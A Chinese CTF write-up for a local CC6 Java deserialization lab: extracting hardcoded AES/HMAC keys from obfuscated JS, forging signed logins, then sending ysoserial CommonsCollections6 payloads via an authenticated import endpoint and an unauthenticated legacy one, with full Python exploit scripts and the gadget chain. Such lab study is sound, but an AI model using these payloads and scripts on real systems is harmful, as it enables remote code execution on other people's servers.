凌曦安全:CC6反序列化靶场WriteUp

admin 2026-03-18 20:29:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了CC6反序列化靶场的渗透测试过程,包含环境搭建、信息收集与两条利用路径。路径A通过JS逆向提取AES密钥与签名密钥,加密登录后发送CC6payload;路径B发现未授权隐藏接口直接利用。文章提供完整的Python利用脚本与加解密详解,实战性强,适合学习反序列化漏洞利用与Web安全测试技术。 综合评分: 87 文章分类: 渗透测试,CTF,漏洞分析,代码审计,WEB安全


cover_image

凌曦安全:CC6 反序列化靶场 WriteUp

原创

凌曦安全 凌曦安全

凌曦安全

2026年3月11日 10:02 上海

本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题,并采取适当的防护措施来保护自身系统免受攻击。

严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为,可能会导致法律后果。

作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责,包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。我们鼓励所有读者遵守法律法规,负责任地使用技术知识,共同维护网络空间的安全与和谐。

作者:凌曦安全 靶场:CC6 反序列化 Web 攻防靶场 难度:中等

目录

  1. 环境搭建

  2. 信息收集

  3. 路径 A:登录后台利用

  4. 路径 B:未授权接口利用

  5. 加解密详解

  6. 漏洞原理


环境搭建

https://github.com/lingxisec/LingXiLabs


视频讲解

直达链接:https://www.bilibili.com/video/BV12hZ7BMEb9/


信息收集

1. 访问首页

访问 http://127.0.0.1:8080,看到登录页面。

2. 查看页面源码

查看 index.html 源码,发现加载了以下 JS 文件:

<script&nbsp;src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script&nbsp;src="/js/app.min.js"></script>

3. 下载并分析 JS 文件

下载 /js/app.min.js 文件进行分析。

curl&nbsp;http://127.0.0.1:8080/js/app.min.js -o app.min.js

路径 A:登录后台利用

步骤 1:JS 逆向获取登录密钥

1.1 分析 app.min.js

打开 app.min.js,虽然代码被混淆,但可以看到一些关键信息:

// 在文件开头可以看到注释// Legacy sync endpoint (deprecated): /api/legacy/sync -&nbsp;TODO:&nbsp;remove in v2.0// var _0xlegacy='/api/legacy/sync';

这个注释暴露了一个隐藏接口,我们稍后会用到。

1.2 提取 AES 密钥

在混淆代码中搜索数组,可以找到:

var&nbsp;_0x9b1c=[76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33];var&nbsp;_0x2d3e=[76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33];

将这些数字转换为字符:

# AES Keykey_bytes = [76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33]aes_key =&nbsp;''.join(chr(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;key_bytes)print(f"AES Key:&nbsp;{aes_key}")# 输出: LingXi_S3cur3_K!
# AES IViv_bytes = [76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33]aes_iv =&nbsp;''.join(chr(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;iv_bytes)print(f"AES IV:&nbsp;{aes_iv}")# 输出: Lin9x1_1V_2025!!

1.3 提取签名密钥

继续搜索,找到签名密钥:

var&nbsp;_0x4f5a=[86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53];

转换:

secret_bytes = [86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53]secret =&nbsp;''.join(chr(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;secret_bytes)print(f"Secret:&nbsp;{secret}")# 输出: Vuln_Range_CC6_S3cr3t_2025

步骤 2:登录系统

2.1 加密用户名和密码

使用提取的 AES 密钥加密登录凭据:

from&nbsp;Crypto.Cipher&nbsp;import AESfrom&nbsp;Crypto.Util.Padding&nbsp;import padimport base64
def aes_encrypt(plaintext, key, iv):&nbsp; &nbsp; cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode())&nbsp; &nbsp; padded =&nbsp;pad(plaintext.encode(), AES.block_size)&nbsp; &nbsp; encrypted = cipher.encrypt(padded)&nbsp; &nbsp; return base64.b64encode(encrypted).decode()
aes_key =&nbsp;"LingXi_S3cur3_K!"aes_iv =&nbsp;"Lin9x1_1V_2025!!"
username =&nbsp;"admin"password =&nbsp;"Admin@123"
enc_username =&nbsp;aes_encrypt(username, aes_key, aes_iv)enc_password =&nbsp;aes_encrypt(password, aes_key, aes_iv)
print(f"Encrypted Username: {enc_username}")print(f"Encrypted Password: {enc_password}")

2.2 生成签名

使用 HMAC-SHA256 生成签名:

import&nbsp;hmacimport&nbsp;hashlibimport&nbsp;timeimport&nbsp;secrets
def&nbsp;generate_signature(secret, timestamp, nonce):&nbsp; &nbsp; message =&nbsp;f"{timestamp}:{nonce}"&nbsp; &nbsp; signature = hmac.new(&nbsp; &nbsp; &nbsp; &nbsp; secret.encode(),&nbsp; &nbsp; &nbsp; &nbsp; message.encode(),&nbsp; &nbsp; &nbsp; &nbsp; hashlib.sha256&nbsp; &nbsp; ).digest()&nbsp; &nbsp;&nbsp;return&nbsp;base64.b64encode(signature).decode()
secret =&nbsp;"Vuln_Range_CC6_S3cr3t_2025"timestamp =&nbsp;str(int(time.time() *&nbsp;1000))nonce = secrets.token_hex(16)
signature = generate_signature(secret, timestamp, nonce)
print(f"Timestamp:&nbsp;{timestamp}")print(f"Nonce:&nbsp;{nonce}")print(f"Signature:&nbsp;{signature}")

2.3 发送登录请求

import&nbsp;requests
url =&nbsp;"http://127.0.0.1:8080/api/login"
headers = {&nbsp; &nbsp;&nbsp;"Content-Type":&nbsp;"application/json",&nbsp; &nbsp;&nbsp;"X-Timestamp": timestamp,&nbsp; &nbsp;&nbsp;"X-Nonce": nonce,&nbsp; &nbsp;&nbsp;"X-Signature": signature}
data = {&nbsp; &nbsp;&nbsp;"u": enc_username,&nbsp; &nbsp;&nbsp;"p": enc_password}
response = requests.post(url, json=data, headers=headers)print(f"Status:&nbsp;{response.status_code}")print(f"Response:&nbsp;{response.json()}")
# 保存 Cookiesession_cookie = response.cookies.get('JSESSIONID')print(f"Session Cookie:&nbsp;{session_cookie}")

步骤 3:访问后台

登录成功后,访问 http://127.0.0.1:8080/admin.html

可以看到”备份恢复”功能,这里可以导入数据。

步骤 4:生成 CC6 Payload

使用 ysoserial 生成 Commons Collections 6 反序列化 payload:

# 下载 ysoserialwget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# 生成 payload(执行 id 命令)java -jar ysoserial-all.jar CommonsCollections6&nbsp;"id"&nbsp;> payload.bin
# 转换为 Base64base64 payload.bin&nbsp;> payload.b64

步骤 5:发送 Payload

5.1 完整利用脚本

import&nbsp;requestsimport&nbsp;hmacimport&nbsp;hashlibimport&nbsp;timeimport&nbsp;secretsimport&nbsp;base64
class&nbsp;CC6Exploit:&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, target_url, secret):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target_url = target_url&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.secret = secret&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session = requests.Session()
&nbsp; &nbsp;&nbsp;def&nbsp;generate_signature(self, timestamp, nonce):&nbsp; &nbsp; &nbsp; &nbsp; message =&nbsp;f"{timestamp}:{nonce}"&nbsp; &nbsp; &nbsp; &nbsp; signature = hmac.new(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.secret.encode(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; message.encode(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hashlib.sha256&nbsp; &nbsp; &nbsp; &nbsp; ).digest()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;base64.b64encode(signature).decode()
&nbsp; &nbsp;&nbsp;def&nbsp;get_signed_headers(self):&nbsp; &nbsp; &nbsp; &nbsp; timestamp =&nbsp;str(int(time.time() *&nbsp;1000))&nbsp; &nbsp; &nbsp; &nbsp; nonce = secrets.token_hex(16)&nbsp; &nbsp; &nbsp; &nbsp; signature =&nbsp;self.generate_signature(timestamp, nonce)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Timestamp": timestamp,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Nonce": nonce,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Signature": signature&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;def&nbsp;login(self, username, password):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;from&nbsp;Crypto.Util.Padding&nbsp;import&nbsp;pad
&nbsp; &nbsp; &nbsp; &nbsp; aes_key =&nbsp;"LingXi_S3cur3_K!"&nbsp; &nbsp; &nbsp; &nbsp; aes_iv =&nbsp;"Lin9x1_1V_2025!!"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 加密用户名和密码&nbsp; &nbsp; &nbsp; &nbsp; cipher_u = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode())&nbsp; &nbsp; &nbsp; &nbsp; enc_u = base64.b64encode(cipher_u.encrypt(pad(username.encode(),&nbsp;16))).decode()
&nbsp; &nbsp; &nbsp; &nbsp; cipher_p = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode())&nbsp; &nbsp; &nbsp; &nbsp; enc_p = base64.b64encode(cipher_p.encrypt(pad(password.encode(),&nbsp;16))).decode()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 发送登录请求&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target_url}/api/login"&nbsp; &nbsp; &nbsp; &nbsp; headers =&nbsp;self.get_signed_headers()&nbsp; &nbsp; &nbsp; &nbsp; headers["Content-Type"] =&nbsp;"application/json"
&nbsp; &nbsp; &nbsp; &nbsp; data = {"u": enc_u,&nbsp;"p": enc_p}
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self.session.post(url, json=data, headers=headers)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.status_code ==&nbsp;200&nbsp;and&nbsp;response.json().get("success"):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] 登录成功!")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 登录失败:&nbsp;{response.text}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;def&nbsp;exploit_authenticated(self, payload_file):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""路径 A:需要登录和签名"""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(payload_file,&nbsp;'rb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload = base64.b64encode(f.read()).decode()
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target_url}/api/data/import"&nbsp; &nbsp; &nbsp; &nbsp; headers =&nbsp;self.get_signed_headers()&nbsp; &nbsp; &nbsp; &nbsp; headers["Content-Type"] =&nbsp;"text/plain"
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self.session.post(url, data=payload, headers=headers)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 状态码:&nbsp;{response.status_code}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 响应:&nbsp;{response.text}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;response
# 使用示例if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; exploit = CC6Exploit(&nbsp; &nbsp; &nbsp; &nbsp; target_url="http://127.0.0.1:8080",&nbsp; &nbsp; &nbsp; &nbsp; secret="Vuln_Range_CC6_S3cr3t_2025"&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;# 登录&nbsp; &nbsp;&nbsp;if&nbsp;exploit.login("admin",&nbsp;"Admin@123"):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 发送 payload&nbsp; &nbsp; &nbsp; &nbsp; exploit.exploit_authenticated("payload.bin")

路径 B:未授权接口利用

步骤 1:JS 审计发现隐藏接口

1.1 分析 app.min.js

在 app.min.js 中可以找到以下注释:

// Legacy sync endpoint (deprecated): /api/legacy/sync&nbsp;-&nbsp;TODO: remove&nbsp;in&nbsp;v2.0// var _0xlegacy='/api/legacy/sync';

以及被注释的函数:

// Legacy function - deprecated,&nbsp;use&nbsp;__signPayload instead// var _0xlegacySync=function(_0xdata){return&nbsp;fetch('/api/legacy/sync',{method:'POST',headers:{'Content-Type':'text/plain'},body:_0xdata,credentials:'same-origin'}).then(function(_0xr){return&nbsp;_0xr.json();});};

这暴露了一个隐藏的接口:/api/legacy/sync

步骤 2:测试未授权访问

# 测试接口是否存在curl&nbsp;-X POST http://127.0.0.1:8080/api/legacy/sync&nbsp;\&nbsp; -H&nbsp;"Content-Type: text/plain"&nbsp;\&nbsp; -d&nbsp;"test"

如果返回类似 “请求体为空” 或其他错误,说明接口存在且无需认证!

步骤 3:直接发送 Payload(无需登录)

def&nbsp;exploit_unauthenticated(target_url, payload_file):&nbsp; &nbsp;&nbsp;"""路径 B:无需登录和签名"""&nbsp; &nbsp;&nbsp;with&nbsp;open(payload_file,&nbsp;'rb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; payload = base64.b64encode(f.read()).decode()
&nbsp; &nbsp; url =&nbsp;f"{target_url}/api/legacy/sync"&nbsp; &nbsp; headers = {"Content-Type":&nbsp;"text/plain"}
&nbsp; &nbsp; response = requests.post(url, data=payload, headers=headers)
&nbsp; &nbsp;&nbsp;print(f"[*] 状态码:&nbsp;{response.status_code}")&nbsp; &nbsp;&nbsp;print(f"[*] 响应:&nbsp;{response.text}")
&nbsp; &nbsp;&nbsp;return&nbsp;response
# 使用exploit_unauthenticated("http://127.0.0.1:8080",&nbsp;"payload.bin")

步骤 4:完整利用脚本

#!/usr/bin/env python3import&nbsp;requestsimport&nbsp;base64import&nbsp;argparse
def&nbsp;exploit_legacy(target_url, payload_file):&nbsp; &nbsp;&nbsp;"""未授权接口利用"""&nbsp; &nbsp;&nbsp;print("[*] 使用未授权接口: /api/legacy/sync")
&nbsp; &nbsp;&nbsp;with&nbsp;open(payload_file,&nbsp;'rb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; payload = base64.b64encode(f.read()).decode()
&nbsp; &nbsp; url =&nbsp;f"{target_url}/api/legacy/sync"&nbsp; &nbsp; headers = {"Content-Type":&nbsp;"text/plain"}
&nbsp; &nbsp;&nbsp;print(f"[*] 发送 payload 到&nbsp;{url}")&nbsp; &nbsp; response = requests.post(url, data=payload, headers=headers)
&nbsp; &nbsp;&nbsp;print(f"[+] 状态码:&nbsp;{response.status_code}")&nbsp; &nbsp;&nbsp;print(f"[+] 响应:&nbsp;{response.text}")
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; parser = argparse.ArgumentParser(description="CC6 靶场利用脚本")&nbsp; &nbsp; parser.add_argument("--target", default="http://127.0.0.1:8080",&nbsp;help="目标 URL")&nbsp; &nbsp; parser.add_argument("--payload", required=True,&nbsp;help="Payload 文件路径")
&nbsp; &nbsp; args = parser.parse_args()
&nbsp; &nbsp; exploit_legacy(args.target, args.payload)

使用:

python3 exploit.py&nbsp;--payload&nbsp;payload.bin

加解密详解

AES-CBC 加密(登录)

加密流程

  1. 明文

    :用户名或密码(如 “admin”)

  2. 填充

    :使用 PKCS7 填充到 16 字节的倍数

  3. 加密

    :使用 AES-128-CBC 模式

  4. 编码

    :Base64 编码

Python 实现

from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AESfrom&nbsp;Crypto.Util.Padding&nbsp;import&nbsp;pad, unpadimport&nbsp;base64
# 密钥和 IV(从 JS 中提取)AES_KEY =&nbsp;"LingXi_S3cur3_K!"&nbsp;&nbsp;# 16 字节AES_IV =&nbsp;"Lin9x1_1V_2025!!"&nbsp; &nbsp;# 16 字节
def&nbsp;aes_encrypt(plaintext):&nbsp; &nbsp;&nbsp;"""AES-CBC 加密"""&nbsp; &nbsp; cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode())&nbsp; &nbsp; padded = pad(plaintext.encode(), AES.block_size)&nbsp; &nbsp; encrypted = cipher.encrypt(padded)&nbsp; &nbsp;&nbsp;return&nbsp;base64.b64encode(encrypted).decode()
def&nbsp;aes_decrypt(ciphertext):&nbsp; &nbsp;&nbsp;"""AES-CBC 解密"""&nbsp; &nbsp; cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode())&nbsp; &nbsp; encrypted = base64.b64decode(ciphertext)&nbsp; &nbsp; decrypted = cipher.decrypt(encrypted)&nbsp; &nbsp; unpadded = unpad(decrypted, AES.block_size)&nbsp; &nbsp;&nbsp;return&nbsp;unpadded.decode()
# 测试username =&nbsp;"admin"encrypted = aes_encrypt(username)print(f"加密:&nbsp;{encrypted}")
decrypted = aes_decrypt(encrypted)print(f"解密:&nbsp;{decrypted}")

Java 后端解密

// AuthService.javaprivate&nbsp;String&nbsp;decrypt(String encryptedBase64)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp;&nbsp;byte[] ciphertext = Base64.getDecoder().decode(encryptedBase64.trim());&nbsp; &nbsp;&nbsp;byte[] key = config.getAesKey().getBytes(StandardCharsets.UTF_8);&nbsp; &nbsp;&nbsp;byte[] iv = config.getAesIv().getBytes(StandardCharsets.UTF_8);
&nbsp; &nbsp;&nbsp;Cipher&nbsp;c&nbsp;=&nbsp;Cipher.getInstance("AES/CBC/PKCS5Padding");&nbsp; &nbsp; c.init(Cipher.DECRYPT_MODE,&nbsp;new&nbsp;SecretKeySpec(key,&nbsp;"AES"),&nbsp;new&nbsp;IvParameterSpec(iv));&nbsp; &nbsp;&nbsp;byte[] dec = c.doFinal(ciphertext);
&nbsp; &nbsp;&nbsp;return&nbsp;new&nbsp;String(dec, StandardCharsets.UTF_8);}

HMAC-SHA256 签名(防重放)

签名流程

  1. 生成时间戳

    :当前时间的毫秒数

  2. 生成 Nonce

    :32 位随机十六进制字符串

  3. 构造消息

    timestamp:nonce

  4. 计算 HMAC

    :使用 SHA256 和密钥

  5. 编码

    :Base64 编码

Python 实现

import&nbsp;hmacimport&nbsp;hashlibimport&nbsp;timeimport&nbsp;secretsimport&nbsp;base64
# 签名密钥(从 JS 中提取)SIGN_SECRET =&nbsp;"Vuln_Range_CC6_S3cr3t_2025"
def&nbsp;generate_signature():&nbsp; &nbsp;&nbsp;"""生成签名头"""&nbsp; &nbsp;&nbsp;# 1. 生成时间戳(毫秒)&nbsp; &nbsp; timestamp =&nbsp;str(int(time.time() *&nbsp;1000))
&nbsp; &nbsp;&nbsp;# 2. 生成随机 nonce&nbsp; &nbsp; nonce = secrets.token_hex(16) &nbsp;# 32 位十六进制
&nbsp; &nbsp;&nbsp;# 3. 构造消息&nbsp; &nbsp; message =&nbsp;f"{timestamp}:{nonce}"
&nbsp; &nbsp;&nbsp;# 4. 计算 HMAC-SHA256&nbsp; &nbsp; signature = hmac.new(&nbsp; &nbsp; &nbsp; &nbsp; SIGN_SECRET.encode(),&nbsp; &nbsp; &nbsp; &nbsp; message.encode(),&nbsp; &nbsp; &nbsp; &nbsp; hashlib.sha256&nbsp; &nbsp; ).digest()
&nbsp; &nbsp;&nbsp;# 5. Base64 编码&nbsp; &nbsp; signature_b64 = base64.b64encode(signature).decode()
&nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Timestamp": timestamp,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Nonce": nonce,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Signature": signature_b64&nbsp; &nbsp; }
# 测试headers = generate_signature()print("签名头:")for&nbsp;key, value&nbsp;in&nbsp;headers.items():&nbsp; &nbsp;&nbsp;print(f" &nbsp;{key}:&nbsp;{value}")

JavaScript 前端实现

// 从 app.min.js 中提取的逻辑function&nbsp;hmacSha256Base64(keyStr, messageStr) {&nbsp; &nbsp;&nbsp;if&nbsp;(typeof&nbsp;CryptoJS&nbsp;!==&nbsp;'undefined') {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;hash =&nbsp;CryptoJS.HmacSHA256(messageStr, keyStr);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;CryptoJS.enc.Base64.stringify(hash);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 或使用 Web Crypto API&nbsp; &nbsp;&nbsp;const&nbsp;enc =&nbsp;new&nbsp;TextEncoder();&nbsp; &nbsp;&nbsp;return&nbsp;crypto.subtle.importKey(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'raw',&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; enc.encode(keyStr),&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp;name:&nbsp;'HMAC',&nbsp;hash:&nbsp;'SHA-256'&nbsp;},&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;false,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; ['sign']&nbsp; &nbsp; ).then(key&nbsp;=>&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;crypto.subtle.sign('HMAC', key, enc.encode(messageStr));&nbsp; &nbsp; }).then(sig&nbsp;=>&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;btoa(String.fromCharCode(...new&nbsp;Uint8Array(sig)));&nbsp; &nbsp; });}
// 生成签名const&nbsp;secret =&nbsp;'Vuln_Range_CC6_S3cr3t_2025';const&nbsp;timestamp =&nbsp;Date.now();const&nbsp;nonce =&nbsp;Array.from({length:&nbsp;32},&nbsp;() =>&nbsp;&nbsp; &nbsp;&nbsp;Math.floor(Math.random() *&nbsp;16).toString(16)).join('');const&nbsp;message = timestamp +&nbsp;':'&nbsp;+ nonce;
hmacSha256Base64(secret, message).then(signature&nbsp;=>&nbsp;{&nbsp; &nbsp;&nbsp;console.log('X-Timestamp:', timestamp);&nbsp; &nbsp;&nbsp;console.log('X-Nonce:', nonce);&nbsp; &nbsp;&nbsp;console.log('X-Signature:', signature);});

Java 后端验证

// SignatureService.javapublic&nbsp;boolean&nbsp;verify(long timestamp,&nbsp;String&nbsp;nonce,&nbsp;String&nbsp;signature) {&nbsp; &nbsp;&nbsp;// 1. 检查时间戳(300 秒窗口)&nbsp; &nbsp; long now =&nbsp;System.currentTimeMillis();&nbsp; &nbsp; long windowMs =&nbsp;300&nbsp;* 1000L;&nbsp; &nbsp;&nbsp;if&nbsp;(Math.abs(now - timestamp) > windowMs) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false; &nbsp;// 时间戳过期&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 2. 检查 nonce 是否已使用(防重放)&nbsp; &nbsp;&nbsp;String&nbsp;nonceKey = nonce.trim() +&nbsp;":"&nbsp;+ timestamp;&nbsp; &nbsp;&nbsp;if&nbsp;(!usedNonces.add(nonceKey)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false; &nbsp;// Nonce 已使用&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 3. 计算期望的签名&nbsp; &nbsp;&nbsp;String&nbsp;expected =&nbsp;computeSignature(timestamp, nonce.trim());
&nbsp; &nbsp;&nbsp;// 4. 比较签名&nbsp; &nbsp;&nbsp;return&nbsp;expected !=&nbsp;null&nbsp;&& expected.equals(signature);}
public&nbsp;String&nbsp;computeSignature(long timestamp,&nbsp;String&nbsp;nonce) {&nbsp; &nbsp;&nbsp;String&nbsp;message = timestamp +&nbsp;":"&nbsp;+ nonce;
&nbsp; &nbsp;&nbsp;Mac&nbsp;mac =&nbsp;Mac.getInstance("HmacSHA256");&nbsp; &nbsp;&nbsp;SecretKeySpec&nbsp;secretKey =&nbsp;new&nbsp;SecretKeySpec(&nbsp; &nbsp; &nbsp; &nbsp; config.getSecret().getBytes(StandardCharsets.UTF_8),&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"HmacSHA256"&nbsp; &nbsp; );&nbsp; &nbsp; mac.init(secretKey);&nbsp; &nbsp; byte[] hash = mac.doFinal(message.getBytes(StandardCharsets.UTF_8));
&nbsp; &nbsp;&nbsp;return&nbsp;Base64.getEncoder().encodeToString(hash);}

完整请求示例

登录请求

POST&nbsp;/api/login&nbsp;HTTP/1.1Host:&nbsp;127.0.0.1:8080Content-Type:&nbsp;application/jsonX-Timestamp:&nbsp;1704067200000X-Nonce:&nbsp;a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6X-Signature:&nbsp;dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=
{&nbsp;&nbsp;"u":&nbsp;"DggQe/jDNFSS2PTydb2zGiOM3hJx0yFN1JU8hOISIFs=",&nbsp;&nbsp;"p":&nbsp;"8xK2mN5pQ7rT9vW1yZ3aB4cD6eF8gH0iJ2kL4mN6oP8="}

数据导入请求(需登录)

POST&nbsp;/api/data/import&nbsp;HTTP/1.1Host:&nbsp;127.0.0.1:8080Content-Type:&nbsp;text/plainCookie:&nbsp;JSESSIONID=ABC123DEF456X-Timestamp:&nbsp;1704067200000X-Nonce:&nbsp;a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6X-Signature:&nbsp;dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...

未授权接口请求

POST&nbsp;/api/legacy/sync HTTP/1.1Host:&nbsp;127.0.0.1:8080Content-Type: text/plain
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...

漏洞原理

Commons Collections 6 反序列化链

漏洞成因

Java 反序列化漏洞是由于应用程序在反序列化不可信数据时,没有进行充分的验证,导致攻击者可以构造恶意的序列化对象,在反序列化过程中执行任意代码。

CC6 链原理

Commons Collections 6 利用链的核心是:

  1. PriorityQueue

    :优先队列,在反序列化时会调用 heapify() 方法

  2. TransformingComparator

    :转换比较器,在比较时会调用 transform() 方法

  3. ChainedTransformer

    :链式转换器,依次执行多个转换器

  4. InvokerTransformer

    :反射调用转换器,可以调用任意方法

调用链

PriorityQueue.readObject()&nbsp; -> heapify()&nbsp; &nbsp; -> siftDown()&nbsp; &nbsp; &nbsp; -> siftDownUsingComparator()&nbsp; &nbsp; &nbsp; &nbsp; -> comparator.compare()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -> TransformingComparator.compare()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -> transformer.transform()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -> ChainedTransformer.transform()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -> InvokerTransformer.transform()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -> Method.invoke()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -> Runtime.exec()

Payload 构造

// 1. 创建恶意转换器链Transformer[] transformers =&nbsp;new&nbsp;Transformer[]{&nbsp; &nbsp;&nbsp;new&nbsp;ConstantTransformer(Runtime.class),&nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("getMethod",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;Class[]{String.class, Class[].class},&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;Object[]{"getRuntime",&nbsp;new&nbsp;Class[0]}),&nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("invoke",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;Class[]{Object.class, Object[].class},&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;Object[]{null,&nbsp;new&nbsp;Object[0]}),&nbsp; &nbsp;&nbsp;new&nbsp;InvokerTransformer("exec",&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;Class[]{String.class},&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;Object[]{"calc"})};
